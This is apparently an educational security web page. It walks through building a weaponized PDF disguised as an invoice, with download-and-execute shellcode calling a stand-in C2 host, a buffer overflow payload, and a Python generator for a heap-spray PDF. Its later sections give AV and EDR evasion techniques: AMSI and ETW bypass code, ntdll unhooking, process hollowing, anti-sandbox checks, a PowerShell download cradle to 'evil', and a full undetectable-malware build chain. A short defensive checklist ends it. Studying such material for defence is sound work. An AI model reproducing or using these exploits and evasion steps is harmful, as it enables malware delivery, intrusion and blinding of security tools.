<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>
endobj

%% Object 5: Page content stream
5 0 obj
<< /Length 194 >>
stream
BT /F1 24 Tf 100 700 Td
  (INVOICE #2024-0582) Tj
  /F1 11 Tf 0 -30 Td (Acme Corp) Tj
  0 -20 Td (Date: March 15, 2024) Tj
  0 -40 Td (Security Audit ... $4,500) Tj
  0 -18 Td (Pen Test .......... $3,200) Tj
  0 -18 Td (Report ............ $1,800) Tj
  0 -25 Td /F1 13 Tf (TOTAL: $9,500) Tj
ET
endstream
endobj

%% Object 6: Document Info
6 0 obj
<< /Title (Invoice) /Author (Acme Corp) >>
endobj

%% Cross-Reference Table
xref
0 7
0000000000 65535 f
0000000009 00000 n  ← Obj 1 at byte 9
0000000058 00000 n  ← Obj 2 at byte 58
0000000115 00000 n  ← Obj 3 at byte 115
0000000266 00000 n  ← Obj 4 at byte 266
0000000333 00000 n  ← Obj 5 at byte 333
0000000580 00000 n  ← Obj 6 at byte 580
trailer
<< /Size 7 /Root 1 0 R /Info 6 0 R >>
startxref 663
%%EOF

How Attackers Build an Exploit

This section walks through the complete exploit development pipeline — the exact sequence of steps an attacker follows to go from a vulnerability discovery to a fully weaponized PDF that compromises a target system. Each step builds on the previous one: write assembly → assemble to machine code → encode the bytes → craft the overflow buffer → assemble the full payload → embed it inside a PDF structure → test the execution chain.

Understanding this pipeline is critical for defenders because each step creates artifacts that can be detected. Assembly patterns, encoding signatures, heap spray behavior, and suspicious PDF objects all generate signals that security tools can match against. The 7 steps below show exactly what the attacker creates at each stage, what it looks like, and how it works.

; ──────────────────────────────────────────────────
; Shellcode: Download & Execute via URLDownloadToFileA
; Target: Windows x86 (32-bit)
; ──────────────────────────────────────────────────
; HOW THIS WORKS:
; 1. Walk the PEB to find kernel32.dll's base address
; 2. Parse kernel32's export table to find GetProcAddress
; 3. Use GetProcAddress to resolve LoadLibraryA
; 4. Load urlmon.dll using LoadLibraryA
; 5. Resolve URLDownloadToFileA from urlmon.dll
; 6. Call URLDownloadToFileA("http://c2/beacon.exe", "C:\Temp\b.exe")
; 7. Call WinExec("C:\Temp\b.exe") to execute the download
; ──────────────────────────────────────────────────

_start:
    cld                        ; Clear direction flag
    call   find_kernel32       ; Locate kernel32.dll base

find_kernel32:
    xor    eax, eax            ; EAX = 0
    mov    eax, [fs:0x30]      ; EAX = PEB (Process Environment Block)
    mov    eax, [eax+0x0c]     ; EAX = PEB->Ldr
    mov    eax, [eax+0x14]     ; EAX = Ldr->InMemOrderModList
    mov    eax, [eax]          ; Skip first entry (ntdll.dll)
    mov    eax, [eax]          ; Second entry = kernel32.dll
    mov    eax, [eax+0x10]     ; EAX = kernel32 base address

resolve_api:
    ; Walk the Export Address Table to find functions
    mov    ebx, [eax+0x3c]     ; PE header offset
    add    ebx, eax            ; EBX = PE header
    mov    ebx, [ebx+0x78]     ; Export table RVA
    add    ebx, eax            ; EBX = Export table
    ; ... hash-based API resolution continues ...

download_exec:
    ; Call URLDownloadToFileA("http://evil/payload.exe", "C:\\Temp\\a.exe")
    push   0                   ; lpfnCB = NULL
    push   0                   ; dwReserved = 0
    push   esi                 ; szFileName (local path)
    push   edi                 ; szURL (remote URL)
    push   0                   ; pCaller = NULL
    call   [URLDownloadToFileA] ; Download the payload

    ; Execute the downloaded file
    push   esi                 ; lpCommandLine
    call   [WinExec]           ; Run it

;  Address    Opcodes           Assembly Instruction
;  ─────────  ────────────────  ──────────────────────────
   00000000  FC                cld
   00000001  E8 82 00 00 00    call   find_kernel32
   00000006  60                pushad
   00000007  89 E5             mov    ebp, esp
   00000009  31 C0             xor    eax, eax
   0000000B  64 8B 50 30       mov    eax, [fs:0x30]  ; PEB
   0000000F  8B 52 0C          mov    edx, [edx+0x0c] ; Ldr
   00000012  8B 52 14          mov    edx, [edx+0x14]
   00000015  8B 72 28          mov    esi, [edx+0x28]
   00000018  0F B7 4A 26       movzx  ecx, [edx+0x26]
   0000001C  31 FF             xor    edi, edi
   0000001E  AC                lodsb
   0000001F  3C 61             cmp    al, 0x61
   ;  ... more instructions ...

; The raw byte sequence (the shellcode) is:
FC E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B
52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C
61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F2 52 57 8B 52
10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59 20

RAW BYTES (the opcodes from Step 2):
FC E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B

HEX STRING (for Python/C injection):
\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b

URL ENCODED (for web-based delivery):
%FC%E8%82%00%00%00%60%89%E5%31%C0%64%8B%50%30%8B

UNICODE ESCAPE (for JavaScript heap spray):
%ue8fc%u8200%u0000%u8960%u31e5%u64c0%u508b%u8b30
  ↑ note: bytes are swapped in pairs (little-endian)
  ↑ FC E8 becomes %ue8fc (E8 first, then FC)

BASE64 (for obfuscation in scripts):
/OiCAAAAYInlMcBki1Awi...

HEX ASCII (for RTF/OLE embedding):
fce8820000006089e531c0648b50308b

# Step 1: Generate a unique cyclic pattern
# Every 4-byte sequence is unique, so when the app crashes,
# the value in EIP tells us the exact offset

from struct import pack

# Generate pattern: Aa0Aa1Aa2Aa3Ab0Ab1Ab2...
def cyclic(length):
    pattern = ""
    for upper in "ABCDEFGHIJKLMNOP":
        for lower in "abcdefghijklmnop":
            for digit in "0123456789":
                pattern += upper + lower + digit
                if len(pattern) >= length:
                    return pattern[:length]
    return pattern

# Send this to the vulnerable app
payload = cyclic(500)
# App crashes → debugger shows: EIP = 0x39624138
# Lookup: "8Ab9" at offset 260 in the pattern
# → Buffer is 260 bytes before we hit EIP!

OFFSET = 260  # exact bytes to reach EIP

import struct

# ── Configuration ──
OFFSET  = 260          # Bytes to reach saved EIP (from Step 4)
EIP_ADDR = 0x0C0C0C0C  # Target: heap spray address
NOP_SIZE = 64          # NOP sled padding (safety margin)

# ── Shellcode (from Step 2, hex-encoded) ──
shellcode = (
    b"\xfc\xe8\x82\x00\x00\x00\x60\x89"  # cld; call; pushad
    b"\xe5\x31\xc0\x64\x8b\x50\x30\x8b"  # PEB walk
    b"\x52\x0c\x8b\x52\x14\x8b\x72\x28"  # Ldr modules
    b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c"  # API resolution
    # ... ~300 more bytes ...
    b"\x57\x69\x6e\x45\x78\x65\x63\x00"  # "WinExec\0"
)

# ── Build the exploit buffer ──
payload  = b"A" * OFFSET                    # ← JUNK (fills buffer)
payload += struct.pack("<I", EIP_ADDR)      # ← EIP overwrite (4 bytes)
payload += b"\x90" * NOP_SIZE               # ← NOP sled (0x90 = NOP)
payload += shellcode                         # ← The actual shellcode

# Visual breakdown:
# [AAAA...AAAA] [0C0C0C0C] [90909090...] [FCE88200...]
#  ← 260 bytes → ← 4 bytes → ← 64 bytes → ← ~342 bytes →
#     JUNK          EIP        NOP SLED     SHELLCODE

print(f"Payload size: {len(payload)} bytes")
print(f"  Junk:      {OFFSET} bytes")
print(f"  EIP:       4 bytes → {hex(EIP_ADDR)}")
print(f"  NOP sled:  {NOP_SIZE} bytes")
print(f"  Shellcode: {len(shellcode)} bytes")

import zlib
import struct

# ── Convert shellcode to JavaScript unescape format ──
def to_js_unescape(shellcode_bytes):
    """Convert raw bytes to %uXXXX format (little-endian pairs)"""
    js = ""
    for i in range(0, len(shellcode_bytes), 2):
        if i + 1 < len(shellcode_bytes):
            # Swap bytes for little-endian: AB CD → %uCDAB
            js += f"%u{shellcode_bytes[i+1]:02x}{shellcode_bytes[i]:02x}"
        else:
            js += f"%u00{shellcode_bytes[i]:02x}"
    return js

# ── Build the malicious JavaScript ──
sc_js = to_js_unescape(shellcode)
js_code = f"""
var sc = unescape("{sc_js}");

// Heap spray: fill memory with NOP sled + shellcode
var nop = unescape("%u0c0c%u0c0c");
while (nop.length < 0x100000) nop += nop;
var block = nop.substring(0, 0x100000 - sc.length);

var spray = new Array();
for (var i = 0; i < 200; i++) {{
    spray[i] = block + sc;
}}

// Trigger the vulnerability
Collab.collectEmailInfo({{subj: "A".repeat(0x4141)}});
"""

# ── Compress the JavaScript (FlateDecode) ──
js_compressed = zlib.compress(js_code.encode('latin-1'))

# ── Build the PDF structure ──
pdf = b"%PDF-1.7\n"

# Object 1: Catalog with /OpenAction (auto-execute trigger)
pdf += b"1 0 obj\n"
pdf += b"<< /Type /Catalog /Pages 2 0 R"
pdf += b" /OpenAction 4 0 R"                # ← auto-runs on open!
pdf += b" >>\nendobj\n\n"

# Object 2: Pages
pdf += b"2 0 obj\n"
pdf += b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\n"
pdf += b"endobj\n\n"

# Object 3: Page (shows innocent invoice content)
pdf += b"3 0 obj\n"
pdf += b"<< /Type /Page /Parent 2 0 R"
pdf += b" /MediaBox [0 0 612 792] >>\n"
pdf += b"endobj\n\n"

# Object 4: JavaScript Action (the exploit!)
pdf += b"4 0 obj\n"
pdf += b"<< /Type /Action /S /JavaScript /JS 5 0 R >>\n"
pdf += b"endobj\n\n"

# Object 5: Compressed JavaScript stream (FlateDecode)
pdf += b"5 0 obj\n"
pdf += f"<< /Length {len(js_compressed)}".encode()
pdf += b" /Filter /FlateDecode >>\n"
pdf += b"stream\n"
pdf += js_compressed                           # ← hex bytes!
pdf += b"\nendstream\nendobj\n\n"

# Write the xref table and trailer
pdf += b"xref\n0 6\n"
pdf += b"trailer << /Size 6 /Root 1 0 R >>\n"
pdf += b"%%EOF"

# ── Save the weaponized PDF ──
with open("Invoice_March_2024.pdf", "wb") as f:
    f.write(pdf)

print("[+] Malicious PDF generated: Invoice_March_2024.pdf")
print(f"[+] JavaScript payload: {len(js_code)} bytes")
print(f"[+] Compressed stream:  {len(js_compressed)} bytes")
print(f"[+] Total PDF size:     {len(pdf)} bytes")

──── PDF OPEN ────
[AcroRd32] Parsing %PDF-1.7 header... OK
[AcroRd32] Loading object 1 (Catalog)
[AcroRd32] Found /OpenAction → Object 4
[AcroRd32] Object 4: /Action /JavaScript → Object 5
[AcroRd32] Object 5: FlateDecode stream, decompressing...

──── JAVASCRIPT ENGINE ────
[SpiderMonkey] Executing decoded JavaScript...
[SpiderMonkey] unescape() → 342 bytes of shellcode decoded
[SpiderMonkey] Heap spray: allocating 200 × 1MB blocks...
[SpiderMonkey] Memory at 0x0C0C0C0C: 0C 0C 0C 0C 0C 0C ... ✓

──── VULNERABILITY TRIGGER ────
[SpiderMonkey] Calling Collab.collectEmailInfo()
[AcroRd32] BUFFER OVERFLOW in CollabEmailInfo()
[AcroRd32] Stack:
   ESP: 0x0012F8A0  [41 41 41 41 41 41 41 41]  ← junk
   EBP: 0x41414141  [overwritten with AAAA]     ← junk
   EIP: 0x0C0C0C0C  [overwritten by attacker!]  ← HIJACKED

──── CPU FOLLOWS EIP ────
[CPU] EIP = 0x0C0C0C0C → jumping to heap...
[CPU] Executing: 0C 0C  → OR AL, 0x0C  (harmless NOP)
[CPU] Executing: 0C 0C  → OR AL, 0x0C  (harmless NOP)
[CPU] Executing: 0C 0C  → OR AL, 0x0C  (sliding...)
[CPU] ...sliding through NOP sled...
[CPU] HIT SHELLCODE at 0x0C0D0000
[CPU] FC        → cld
[CPU] E8 82 00  → call find_kernel32
[CPU] 60        → pushad
[CPU] 89 E5     → mov ebp, esp
[CPU] 31 C0     → xor eax, eax
[CPU] 64 8B 50 30 → mov eax, [fs:0x30]  ; PEB
... resolving APIs ... downloading payload ...
[CPU] WinExec("C:\\Temp\\backdoor.exe") → GAME OVER

The Complete Exploit Buffer — Annotated

Here's the final payload laid out byte-by-byte, exactly as it exists in memory when the overflow happens:

Notable Exploit CVEs

These are publicly documented vulnerabilities that have been weaponized in real-world attacks against governments, corporations, and individuals. Every single one has been patched — studying them reveals the patterns attackers reuse, the code paths they target, and the detection opportunities defenders can exploit. Each CVE below includes: what the vulnerability was, how attackers exploited it, the technical mechanism, and what defenders should look for.

Detailed CVE Breakdowns

Each CVE below is broken down into its full technical detail — the vulnerability, how it was exploited in the wild, what the attacker's exploit looked like, and what defenders should monitor for.

How Malware Goes Fully Undetected

You've seen how exploits work — the buffer overflows, the shellcode, the PDF weaponization. But here's the reality: none of that matters if antivirus catches it on delivery. This is where FUD — Fully Undetectable — comes in. Every serious attacker spends more time making their payload invisible than building the exploit itself. This section breaks down every layer of the evasion stack, the exact tools and techniques used, and how defenders catch each one.

What Does "FUD" Actually Mean?

Layer 1 — Packers & Crypters (Static Evasion)

The first and most fundamental evasion layer. The goal: make the file look like something it isn't so signature scanners can't pattern-match it.

Original EXE (100 KB)
├── .text  → executable code (detectable)
├── .data  → strings like "WinExec" (detectable)
└── .rsrc  → resources

After UPX packing (40 KB):
├── UPX0  → empty (will be filled at runtime)
├── UPX1  → compressed blob (looks like random data)
└── stub  → 2KB decompressor
    └── At runtime: decompress UPX1 → UPX0 → jump to OEP

Crypter Output:
┌─────────────────────────────┐
│  STUB (clean decryptor)     │ ← Looks legitimate
│  ├── AES key (embedded)     │
│  ├── Decrypt routine        │
│  └── Execution method:      │
│      ├── RunPE (hollowing)  │
│      ├── Reflective inject  │
│      └── Shellcode execute  │
├─────────────────────────────┤
│  ENCRYPTED PAYLOAD          │ ← AES-256 encrypted
│  (rat.exe, stealer.exe)     │    No signatures visible
│  Entropy: ~7.99/8.00        │
└─────────────────────────────┘

Layer 2 — Polymorphic & Metamorphic Engines

Packers and crypters change how the payload looks on disk. Polymorphic and metamorphic engines go further — they change the code itself while preserving functionality.

// Generation 1:
MOV ECX, 0x1A4          ; payload length
MOV ESI, offset payload  ; source
XOR BYTE [ESI], 0x5A    ; XOR key
INC ESI
LOOP decrypt

// Generation 2 (same logic, different bytes):
MOV EDX, 0x1A4          ; different register
LEA EDI, [payload]      ; different addressing
SUB EDI, 1
next: INC EDI
      XOR BYTE [EDI], 0x5A
      DEC EDX
      JNZ next           ; different loop construct

Substitution examples:
XOR EAX, EAX       ↔  SUB EAX, EAX      ↔  MOV EAX, 0
ADD EAX, 5         ↔  SUB EAX, -5        ↔  LEA EAX, [EAX+5]
CMP EAX, 0; JE     ↔  TEST EAX, EAX; JZ  ↔  OR EAX, EAX; JZ
PUSH EAX; POP EBX  ↔  MOV EBX, EAX
NOP                ↔  XCHG EAX, EAX      ↔  LEA EAX, [EAX]

Code transposition:
Original: [Block A] → [Block B] → [Block C]
Rewritten: [Block C] → JMP B_addr
           [Block A] → JMP C_addr
           [Block B] → JMP end

Layer 3 — Process Injection & In-Memory Execution

The most effective evasion: never write the real payload to disk at all. Instead, inject it directly into the memory of a legitimate process. To the OS and security tools, it looks like svchost.exe or explorer.exe is running — but the attacker's code lives inside it.

Step-by-step:
1. CreateProcess("svchost.exe", CREATE_SUSPENDED)
   → Real svchost starts but frozen before first instruction

2. NtUnmapViewOfSection(hProcess, imageBase)
   → Guts removed — original svchost code unmapped

3. VirtualAllocEx(hProcess, imageBase, malwareSize, MEM_COMMIT)
   → Fresh memory allocated at same address

4. WriteProcessMemory(hProcess, imageBase, malwarePE)
   → Malware PE written into svchost's memory space

5. SetThreadContext(hThread, newEntryPoint)
   → EIP/RIP pointed to malware's entry point

6. ResumeThread(hThread)
   → "svchost.exe" is now running your malware
   → Task Manager shows: svchost.exe (legitimate name+path)
   → Parent process: services.exe (looks normal)

Layer 4 — Bypassing Security Products (EDR/AV/AMSI)

Even with encrypted payloads and process injection, modern EDR (Endpoint Detection and Response) instruments the OS at a deep level. Advanced attackers must specifically defeat these monitoring systems.

AMSI Pipeline:
PowerShell script → amsi.dll!AmsiScanBuffer() → AV Engine → ALLOW / BLOCK
                                    ↑
                        Attackers patch HERE

Bypass Method 1 — Memory Patching (most common):
1. GetProcAddress(amsi.dll, "AmsiScanBuffer")
2. VirtualProtect(addr, size, PAGE_EXECUTE_READWRITE)
3. Write: MOV EAX, 0x80070057; RET  (= E_INVALIDARG → "scan passed")
   → Every future AmsiScanBuffer() call returns "clean"

Bypass Method 2 — Forcing amsiInitFailed:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
  .GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
→ AMSI thinks initialization failed → all scans skipped

Bypass Method 3 — Unhooking amsi.dll:
Map fresh copy of amsi.dll from disk → overwrite .text section
→ All patches/hooks are removed → clean DLL, no scanning

How EDR hooks work:
Normal:   NtWriteVirtualMemory → syscall → kernel
Hooked:   NtWriteVirtualMemory → JMP edr_monitor.dll → log → syscall → kernel

Unhooking Method 1 — Fresh ntdll mapping:
1. MapViewOfFile("C:\Windows\System32\ntdll.dll")  // read clean copy
2. Find .text section in both loaded and clean copies
3. VirtualProtect(loaded_ntdll.text, RWX)
4. memcpy(loaded_ntdll.text, clean_ntdll.text)     // overwrite hooks
→ All EDR hooks REMOVED — calls go directly to kernel

Unhooking Method 2 — Direct syscalls (Syswhispers / Hell's Gate):
Instead of calling ntdll!NtWriteVirtualMemory (which is hooked),
the malware contains its OWN syscall stubs:
  MOV R10, RCX
  MOV EAX, 0x3A        ; syscall number for NtWriteVirtualMemory
  SYSCALL               ; jump directly to kernel — EDR never sees it

Tools that implement this:
• SysWhispers — generates syscall stubs at compile time
• Hell's Gate — resolves syscall numbers dynamically at runtime
• Halo's Gate — handles partially-hooked ntdll scenarios
• RecycledGate / FreshyCalls — variant approaches

ETW Patch (disable logging for current process):
1. GetProcAddress(ntdll.dll, "EtwEventWrite")
2. Write: RET (0xC3) at the entry point
   → EtwEventWrite immediately returns → no events logged
   → PowerShell ScriptBlock logging: GONE
   → .NET assembly load events: GONE
   → Process telemetry from this process: GONE

What disappears:
• Microsoft-Windows-PowerShell/Operational log entries
• .NET CLR loading events (Assembly.Load visible normally)
• WMI activity events
• Network connection attribution to this process

Layer 5 — Anti-Sandbox & Anti-Analysis

Security sandboxes (AV emulators, corporate detonation chambers, VirusTotal) run suspicious files in monitored environments. Sophisticated malware fingerprints the environment and refuses to execute if it detects analysis.

── Environment Fingerprinting ──

// CPU check — sandboxes often have ≤2 cores
if (GetSystemInfo().dwNumberOfProcessors < 2) ExitProcess(0);

// RAM check — sandboxes often have ≤4GB
MEMORYSTATUSEX mem;
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 4ULL * 1024 * 1024 * 1024) ExitProcess(0);

// Uptime check — sandbox VMs are freshly booted
if (GetTickCount64() < 600000) Sleep(600000);  // wait 10 min

// Process count — real systems have 50+ processes
DWORD procs[1024]; EnumProcesses(procs, sizeof(procs), &needed);
if (needed/sizeof(DWORD) < 40) ExitProcess(0);

// Mouse movement — sandboxes don't move the mouse
POINT p1, p2;
GetCursorPos(&p1); Sleep(5000); GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y) ExitProcess(0);

// Username/hostname check — avoid "sandbox", "virus", "malware"
char name[256]; DWORD sz = 256;
GetComputerNameA(name, &sz);
if (strstr(name, "sandbox") || strstr(name, "virus")) ExitProcess(0);

── Hypervisor / VM Detection ──

// CPUID hypervisor bit (bit 31 of ECX from leaf 1)
__cpuid(regs, 1);
if (regs[2] & (1 << 31)) ExitProcess(0);  // running in VM

// VMware I/O port backdoor
MOV EAX, 'VMXh'; MOV ECX, 0Ah; MOV EDX, 'VX'; IN EAX, DX
// If no exception → running in VMware

// Registry keys — VM guest tools leave traces
RegOpenKey(HKLM, "SOFTWARE\\VMware, Inc.\\VMware Tools", &key);
RegOpenKey(HKLM, "SOFTWARE\\Oracle\\VirtualBox Guest Additions", &key);

── Anti-Debug ──

// Direct API check
if (IsDebuggerPresent()) ExitProcess(0);

// PEB flag (manual check — bypasses API hooks)
BOOL dbg = *(PBYTE)(__readgsqword(0x60) + 2);  // PEB.BeingDebugged

// Timing-based — debug stepping is slow
LARGE_INTEGER t1, t2;
QueryPerformanceCounter(&t1);
// ... some code ...
QueryPerformanceCounter(&t2);
if ((t2.QuadPart - t1.QuadPart) > 10000) ExitProcess(0);

Layer 6 — Fileless Execution & Living Off the Land

The ultimate evasion: never drop a file at all. Use tools already on the victim's machine (LOLBins — Living Off the Land Binaries) and execute entirely from memory, scripts, or built-in OS features.

Example 1 — PowerShell Download Cradle (nothing written to disk):
powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://evil/payload.ps1')"
→ Script downloads into memory → executes → loads .NET assembly → injects into explorer.exe
→ Zero files on disk. Zero artifacts in Downloads. Only evidence: PowerShell logs (if enabled).

Example 2 — Macro → WMI Persistence (survives reboot without files):
Sub AutoOpen()
  Set objWMI = GetObject("winmgmts:\\.\root\subscription")
  ' Create WMI event subscription → runs PowerShell on every boot
  ' Payload stored in WMI repository (C:\Windows\System32\wbem\Repository)
  ' No visible file. No scheduled task. No registry run key.
End Sub

Example 3 — Registry-resident payload:
reg add HKCU\Software\Classes\Payload /v data /t REG_BINARY /d <shellcode_hex>
→ Shellcode stored in registry value
→ Loader reads registry → VirtualAlloc → memcpy → CreateThread
→ Payload lives in the registry hive, never as a file

Layer 7 — Advanced Stealth (Sleep, Signing, Entropy)

The final layers that separate amateur RATs from nation-state implants.

Ekko Sleep Obfuscation:
1. Create timer queue (ROP chain using NtContinue)
2. Set timer callback: VirtualProtect(beacon, RW)
3. Set timer callback: SystemFunction032(beacon, key) // RC4 encrypt
4. Set timer callback: Sleep(60000)                    // 60s sleep
5. Set timer callback: SystemFunction032(beacon, key) // RC4 decrypt
6. Set timer callback: VirtualProtect(beacon, RX)
7. Queue all timers → beacon memory ENCRYPTED during sleep
→ Memory scan during sleep sees: encrypted garbage
→ Memory scan when awake: 0.5s window to catch it

Putting It All Together — A Real FUD Build Chain

Here's how a real-world attacker combines every layer into one delivery:

STEP 1 — Build the payload
Tool: Custom RAT / Cobalt Strike / Sliver C2 framework
Output: beacon.exe (detected by 58/72 AV engines — completely burned)

STEP 2 — Encrypt with crypter (static evasion)
Tool: Private crypter (native C stub + AES-256)
Process: beacon.exe → AES encrypt → embed in stub → output.exe
Result: 12/72 detections (heuristics still flag it — stub pattern known)

STEP 3 — Add process injection (runtime evasion)
Stub modified: decrypt in memory → process hollow into RuntimeBroker.exe
Result: 3/72 detections (behavioral heuristics on injection pattern)

STEP 4 — Anti-sandbox + anti-debug
Add: CPU cores check, RAM check, 10-min sleep delay, mouse movement check
Result: 1/72 detections (one ML engine still suspicious of PE structure)

STEP 5 — Entropy reduction + signing
Pad resource section with legitimate strings, sign with purchased EV cert
Result: 0/72 detections — FUD achieved

STEP 6 — Embed in delivery vehicle
Option A: Pack into ISO/IMG → attach to spearphishing email (bypasses MotW)
Option B: Embed in PDF via /Launch or /OpenAction JavaScript
Option C: Host on compromised website → drive-by download
Option D: Side-load via legitimate signed application (DLL hijacking)

STEP 7 — Post-exploitation stealth
- AMSI patch (PowerShell now unmonitored)
- ETW patch (telemetry disabled for this process)
- Sleep encryption (Ekko — encrypted during 60s sleep cycles)
- Timestomp dropped files to match explorer.exe dates
- C2 over DNS-over-HTTPS to Cloudflare (looks like normal DNS traffic)

TOTAL EVASION LAYERS: 7 stacked techniques
COMBINED COST: ~$500-2000 (crypter + cert + C2 infra)
FUD LIFESPAN: 1-3 days before cloud telemetry catches it

How Attackers Defeat Modern Defenses

Chapter 09 covered classic evasion — packers, crypters, process injection. But modern security infrastructure has evolved far beyond signature-based AV. Today's defenders deploy AI/ML models, cloud-detonation sandboxes, Extended Detection & Response (XDR), hardware-enforced security, and Zero Trust architectures. This chapter shows how the attacker side has evolved to match — and how each new defense creates a new bypass technique in an endless arms race.

Next-Gen Antivirus: How It Actually Works

Traditional AV matched file hashes and byte patterns. Next-Gen AV (NGAV) from vendors like CrowdStrike, SentinelOne, Cylance, and Microsoft Defender for Endpoint uses a multi-layered approach:

Evading AI/ML Detection Models

ML models are the backbone of modern NGAV, but they have fundamental weaknesses that attackers exploit systematically:

// Problem: ML flags high entropy in .text section
Fix: Insert dead code (junk functions that are never called)
     Entropy drops from 7.8 → 6.2 (below suspicion threshold)

// Problem: ML flags small import table
Fix: Add fake imports that are never used:
     LoadLibraryA("gdiplus.dll")  // GUI library - looks normal
     GetProcAddress("GdipDrawLine") // never called
     Import count: 6 → 42 (matches legitimate software)

// Problem: ML flags embedded strings ("shellcode", "inject")
Fix: Compile-time string encryption (XOR/AES)
     Strings only exist decrypted in memory at runtime
     Static ML never sees them

// Problem: ML flags abnormal PE section names
Fix: Use standard names: .text, .rdata, .data, .rsrc
     Never use custom names like .crypt, .pack, .vmp

Step 1: Identify Target AV
  Recon: job postings mention "CrowdStrike"
  Or: phishing lure returns Defender-specific error

Step 2: Set Up Local Copy of Target AV
  Install same product + version in test VM
  Enable cloud features (use burner license)

Step 3: Iterative Testing
  Submit payload → observe detection → modify → resubmit
  Automated via: DefenderCheck, ThreatCheck
  These tools binary-search the file to find
  the EXACT byte range triggering detection

Step 4: Feature Perturbation
  Modify only the flagged features
  Re-test until 0 detections locally
  Test against antiscan.me (doesn't share with vendors)

Step 5: Deploy
  FUD window: typically 24-72 hours
  Before vendor cloud updates models with new sample

EDR → XDR: The Detection Evolution

EDR watches endpoints. XDR (Extended Detection & Response) correlates signals across endpoints, network, email, cloud, and identity — making evasion exponentially harder because attackers must be invisible across every data source simultaneously.

ENDPOINT signal: svchost.exe (PID 7284) → RWX allocation + beacon behavior
  Alone: Low confidence (svchost does allocate memory legitimately)

NETWORK signal: svchost.exe → HTTPS to cdn-update.azureedge[.]net every 60s
  Alone: Low confidence (legitimate Azure CDN traffic exists)

EMAIL signal: User received .docm attachment 4 minutes before svchost anomaly
  Alone: Low confidence (user receives documents daily)

IDENTITY signal: Same user attempted 3 failed logins to DC01 after svchost spawn
  Alone: Low confidence (password typos happen)

☆ XDR CORRELATION: Email(malicious attachment) → Endpoint(process injection)
  → Network(C2 beacon) → Identity(lateral movement attempt)
  COMBINED CONFIDENCE: 99.7% — automatic containment triggered
  Actions: Isolate host, disable user account, block C2 domain

Hardware-Enforced Security

Modern CPUs and operating systems now enforce security at the hardware level — protections that cannot be bypassed from userland regardless of how sophisticated the malware is.

1. Drop signed vulnerable driver: RTCore64.sys (MSI Afterburner)
2. Load via sc.exe create — passes HVCI signature check ✓
3. Exploit CVE-2019-16098 (arbitrary memory R/W in driver)
4. Use kernel R/W to disable EDR kernel callbacks
5. Remove PsSetCreateProcessNotifyRoutine entries
6. EDR is now fully blinded — kernel telemetry gone

Known abused drivers: RTCore64.sys, dbutil_2_3.sys (Dell),
  gdrv.sys (Gigabyte), ene.sys (ENE Technology), cpuz141.sys
Microsoft maintains a blocklist but it's perpetually incomplete.

Zero Trust Architecture — The Network Evolution

Traditional networks have a perimeter (firewall) — once inside, assets trust each other. Zero Trust assumes every request is potentially malicious, regardless of source. This fundamentally changes the attacker's playbook:

Beyond Windows: Cloud, macOS & Linux Security

The attack surface has expanded far beyond Windows endpoints. Modern attackers target the entire infrastructure stack:

Experience It (Safely)

These interactive demos simulate what happens during real attacks — using only safe, simulated data in your browser. No actual exploits, shellcode, or malicious network connections are involved. Each demo recreates the visible and invisible output an analyst would see when examining a real attack, so you can understand both what the user sees (nothing unusual) and what's actually happening behind the scenes.

FUD & Evasion Demonstrations

The following demos simulate the evasion techniques covered in Chapter 08 — FUD. Each one recreates exactly what an analyst would see in process monitors, debuggers, and EDR telemetry when these techniques are used in real malware.

How to Protect Yourself

Understanding exploits is only valuable if it improves your defense. Every exploit shown in this page has specific, actionable countermeasures. Below is a comprehensive defense playbook organized by attack type — each item explains what to do, why it works, and what it specifically prevents.

Against Document Exploits

• Never enable macros from untrusted sources. Microsoft now blocks VBA macros from internet-downloaded documents by default (Mark-of-the-Web check). Don't override this. Why it works: Macros are the delivery mechanism for Stage 1 in most document attacks — if they can't execute, the entire kill chain breaks at step 1. Specifically prevents: VBA-based downloaders, Auto_Open() payloads, and all attacks requiring user to click "Enable Content."
• Keep Office updated. Most document exploits target vulnerabilities that were patched months or years ago — CVE-2017-11882 (Equation Editor) was patched in Nov 2017 but is still used in attacks in 2024 because organizations don't update. Why it works: Every CVE in Section 06 has a patch. Running the latest version eliminates the vulnerable code paths entirely. Specifically prevents: All known CVEs — the attacker's exploit code targets specific memory layouts that change with patches.
• Use Protected View. Office opens external documents (email attachments, downloads) in a restricted sandbox — no macros, no ActiveX, no external content loading. Don't click "Enable Editing" unless you trust the source and need full editing functionality. Why it works: Protected View runs the document in a low-integrity process with no network access and no ability to spawn child processes — even if a vulnerability is triggered, the exploit has nowhere to go. Specifically prevents: All remote template attacks (CVE-2021-40444), all OLE-based attacks, and most ActiveX exploits.
• Disable MSDT protocol handler. Run reg delete HKCR\ms-msdt /f as administrator. MSDT is rarely used and provides a direct code execution path through URL protocol handlers. Why it works: Without the protocol handler registered, the ms-msdt: URL scheme is ignored by the OS — the bridge between Office and PowerShell execution doesn't exist. Specifically prevents: Follina (CVE-2022-30190) and any future attacks abusing the MSDT protocol.
• Use ASR rules (Attack Surface Reduction) in Microsoft Defender. Enable these specific rules: "Block Office applications from creating child processes" (prevents WINWORD.EXE → cmd.exe chains), "Block Office from creating executable content" (prevents malware drops), "Block Office from injecting code into other processes" (prevents process hollowing), "Block Win32 API calls from Office macros" (prevents Shell() calls). Why it works: Even if a macro or exploit executes, ASR rules block the specific OS operations the attacker needs for the next stage. Specifically prevents: All macro-based downloaders, all child process spawning, all process injection from Office contexts.
